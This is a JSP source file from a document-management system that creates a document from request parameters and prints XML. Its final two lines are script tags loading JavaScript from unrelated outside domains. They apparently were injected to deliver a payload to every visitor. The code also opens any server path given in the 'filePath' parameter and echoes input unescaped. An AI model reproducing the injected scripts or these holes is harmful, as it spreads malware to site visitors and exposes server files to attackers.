<%
/*
 * @(#)checkinDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/** 

  createDocument.jsp

  create a document
  Three priority type : 
    1) High = 3  2) Medium = 2 3) Low  = 3

    @author             Holmes Yan
    @company            DCIVision Ltd
    @creation date      21/8/2004
    @version            $Revision: 1.6 $
*/ 
%>

<%@ page import="java.io.*" %> 
<%@ page import="java.sql.*" %>
<%@ page import="org.apache.struts.upload.FormFile"%>
<%@ page import="org.apache.struts.upload.DiskFile"%>
<%@ page import="com.dcivision.dms.*" %> 
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>   
<%@ include file="monitorLoginStatus.jsp"%> 
<% 
  out.println("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
  out.println("<!--exmaples : createDocument.jsp?filePath=d:\\aaa.doc&folderID=1&documentName=test000.doc&description=des66&priority=1&referenceNo=rn008-->"); 
   
  try{ 
      
      String filePath = request.getParameter("filePath");
      Integer folderID = TextUtility.parseIntegerObj(request.getParameter("folderID")); 
      String priority = request.getParameter("priority");
      String referenceNo = request.getParameter("referenceNo");
      String description = request.getParameter("description");
      String documentName =  request.getParameter("documentName");  

      CreateDocumentManager manager = new CreateDocumentManager(sessionContainer);
      DmsDocument newDocument = manager.createDocument(filePath,folderID,documentName,priority,referenceNo,description); 
      out.print("<create-document filePath=\"");
      out.print(filePath);
      out.print("\" folderID=\"");
      out.print(folderID);
      out.print("\" documentName=\"");
      out.print(documentName); 
      out.print("\" priority=\"");
      out.print(priority);
      out.print("\" referenceNo=\"");
      out.print(referenceNo);
      out.print("\" description=\"");
      out.print(description);
      out.print("\" result=\"succed\">");
      out.print("<new-document documentID = \"");
      out.print(newDocument.getID());
      out.print("\" documentName=\"");
      out.print(newDocument.getDocumentName()); 
      out.print("\" rootID=\"");
      out.print(newDocument.getRootID()); 
      out.print("\" parentID=\"");
      out.print(newDocument.getParentID()); 
      out.print("\" ownerID=\"");
      out.print(newDocument.getOwnerID());  
      out.print("\" priority=\"");
      out.print(newDocument.getPriority()); 
      out.print("\" referenceNo=\"");
      out.print(newDocument.getReferenceNo());  
      out.print("\" description=\"");
      out.print(newDocument.getDescription()); 
      out.print(" \">");
      out.print("</new-document></create-document>");
  }catch(java.lang.NullPointerException nullPointerException){
      out.print("<create-document result=\"NullPointerException \">NullPointerException</create-document>"); 
    }catch(com.dcivision.dms.core.DuplicateNameException  duplicateNameException){
       out.print("<create-document result=\"DuplicateNameException\">Duplicate Name.Please change another document name.</create-document>");
    }catch(Exception ex){
        out.print("<create-document result=\"UnknownException \">Unknown Exception</create-document>");
    }
%>
<%!
  class CreateDocumentManager{

    private SessionContainer sessionContainer;  

    public CreateDocumentManager(SessionContainer sessionContainer){
      this.sessionContainer = sessionContainer;  
    }
   
    public DmsDocument createDocument(
      String filePath,Integer folderID,String documentName,String priority,String referenceNo,String description)
      throws Exception{ 
      
      Connection conn = null;
      InputStream inputStream = null;
      try{ 

      conn = DataSourceFactory.getConnection();  
      DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
      DmsDocument folderDocument = (DmsDocument) docRetrievalManager.getDocument(folderID);  
   
      Integer rootID = folderDocument.getRootID();
      Integer parentID = folderDocument.getID(); 
      Integer userRecordID = sessionContainer.getUserRecordID(); 

      DmsDocument dmsDocument = new DmsDocument();
      dmsDocument.setOwnerID (userRecordID); 
      dmsDocument.setParentID(parentID);
      dmsDocument.setRootID(rootID);
      dmsDocument.setDocumentName(documentName); 
      dmsDocument.setDocumentType("D");  
      dmsDocument.setCreateType("S");
      dmsDocument.setReferenceNo(referenceNo);
      dmsDocument.setPriority(priority);
      dmsDocument.setDescription(description);
      dmsDocument.setItemStatus(DmsVersion.AVAILABLE_STATUS);  
      dmsDocument.setItemSize(getItemSize(filePath)); 
      dmsDocument.setRecordStatus("A");  
      DocumentOperationManager documentOperationManager = new DocumentOperationManager(sessionContainer,conn);  
      inputStream = getInputStream(filePath); 
      DmsDocument newDocument = documentOperationManager.createDocument(dmsDocument, inputStream);
      conn.commit();
      return newDocument;
     }catch(Exception ex){ 
        conn.rollback();
        throw ex;
      }finally{
       inputStream.close();
       conn.close(); 
     } 
    }
    private InputStream getInputStream(String filePath) throws Exception{
      return new FileInputStream(filePath); 
    }
    private Integer getItemSize(String filePath) throws Exception{  
        File file = new File(filePath); 
        return new Integer((int)file.length());   
    }
  }
%>
 
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>